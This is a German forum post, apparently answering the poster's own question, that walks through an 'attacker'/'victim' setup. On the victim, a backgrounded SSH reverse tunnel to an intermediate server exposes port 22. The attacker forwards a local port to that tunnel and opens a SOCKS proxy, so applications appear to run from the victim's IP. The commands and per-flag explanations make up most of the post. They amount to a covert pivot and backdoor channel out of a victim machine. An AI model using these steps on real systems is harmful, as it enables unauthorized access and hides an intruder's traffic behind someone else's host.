Anscheinend kann niemand diese Frage beantworten, das ist okay, weil ich die Antwort selbst gefunden habe.
Hier sind die Antworten:
- Am Opfer :
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- Auf Angreifer # 1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- Auf Angreifer # 2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- Zu Angreifer 3: in Firefox oder irc oder sogar für die allgemeinen Netzwerkeinstellungen: Socks (v5) Proxy-Einstellungen: 127.0.0.1 Port 3333
Jede Anwendung, für die Sie den Host localhost mit Port 3333 eingerichtet haben, wird über den Server zum Opfer getunnelt. Wenn Sie beispielsweise http://myip.com besuchen, sehen Sie die IP / Host des Opfers. Von hier aus können Sie sogar GUI-Anwendungen auf dem Angreifer verwenden (wenn Sie Socks-Einstellungen für die bestimmte App oder für das gesamte System festlegen ), die über den Server zu Opfer getunnelt werden, und Sie fungieren als solches Opfer .
Der Fehler, den ich in meinem Denkprozess gemacht habe, war, dass ich nicht richtig verstanden habe, wie das umgekehrte Portschema aussieht. Ich werde versuchen, es mit einfachen Worten zu erklären.
Opferhandlung
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= Ich werde keine Befehle in der Shell ausführen-f
= den Prozess in den Hintergrund stellen (damit Sie das Terminalfenster schließen können)-R
= umgekehrter Tunnel5555:localhost:22
= 5555 ist der Port, an dem der Server intern wartet, um Daten an Port 22 des Opfers weiterzuleiten . Wenn Sie das Opfer so eingerichtet haben, dass ssh auf Port 2222 ausgeführt wird, sollten Sie 22 in 2222 ändern.-p
= Port, an dem ssh on serv läuft.
1. Angriffsaktion
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
Der erste Befehl, den Sie für den Angreifer ( -L 4444:localhost:5555
) ausführen, richtet einen Tunnel ein, so dass Ihre Verbindung mit Ihrem dritten Befehl direkt zum Opfer getunnelt wird . (Dies gilt nur für Dynamic Port Forwarding / Socks-Anwendungen)
Wenn Sie statt dieses Befehls nur Shell-Zugriff auf Opfer haben möchten, führen Sie einfach ssh in serv & als Befehl aus: 'ssh user_on_victim @ localhost -p 5555'.
Wir wollen jedoch keinen Shell-Zugriff, wir wollen alle Daten dynamisch tunneln, so dass wir einen Port-Forward machen müssen.
Oder die schematische Erklärung
-L
= lokale Portweiterleitung (auf Serv )- 4444:localhost:5555
Alle an Port 4444 eingehenden Daten werden an Port 5555 übergeben.
2. Angriffsaktion
Der zweite Befehl, den Sie dem Angreifer geben
ssh -p 4444 -D localhost: 3333 user_on_victim @ localhost
ist der eigentliche Befehl, der die Verbindung durch die 2 Tunnel initialisiert. Sie sagen Folgendes: Verbinden Sie sich mit Port 4444 und setzen Sie alle eingehenden Daten (Localhost-Port 3333) auf 4444. (die lokal auf Serv an Port 5555 weitergeleitet wird ->, der an Port 22 ausgegeben wird auf das Opfer .
Oder die schematische Erklärung
-D
= Dynamische Weiterleitunglocalhost:3333
= Port 3333 abhören und Daten über die SSH-Verbindung an Port 4444 zum Serv übertragen.-p 4444
= der Port, an dem der Server wartet, um die Daten an Port 5555 und dann an Port 22 des Opfers weiterzuleiten .
3. Angriffsaktion
Richten Sie Ihre Anwendungen oder sogar Ihr gesamtes System für die Verwendung des SOCKS (v5) -Proxy-Servers unter der Adresse localhost port: 3333 ein. Es ist egal, auf welchen Ports diese Anwendungen normal ausgeführt werden, da dies vom Proxy-Server verarbeitet wird. Theoretisch kann jede Anwendung über Socks Proxy Dynamic Port Forwarding ausgeführt werden. Sie müssen es nur einrichten. :)
Die dritte Aktion des Angreifers sind die tatsächlichen Daten, die Sie zum Opfer tunneln möchten . Es ist egal, um welche Daten oder welche Anwendung es sich handelt. Deswegen ist es die dynamische Weiterleitung. Es ist egal, auf welchen Ports diese Anwendung ausgeführt wird, da dies von SOCKS verarbeitet wird.
Ich hoffe, jemand findet in meiner Erklärung Verwendung.
Einen schönen Tag noch....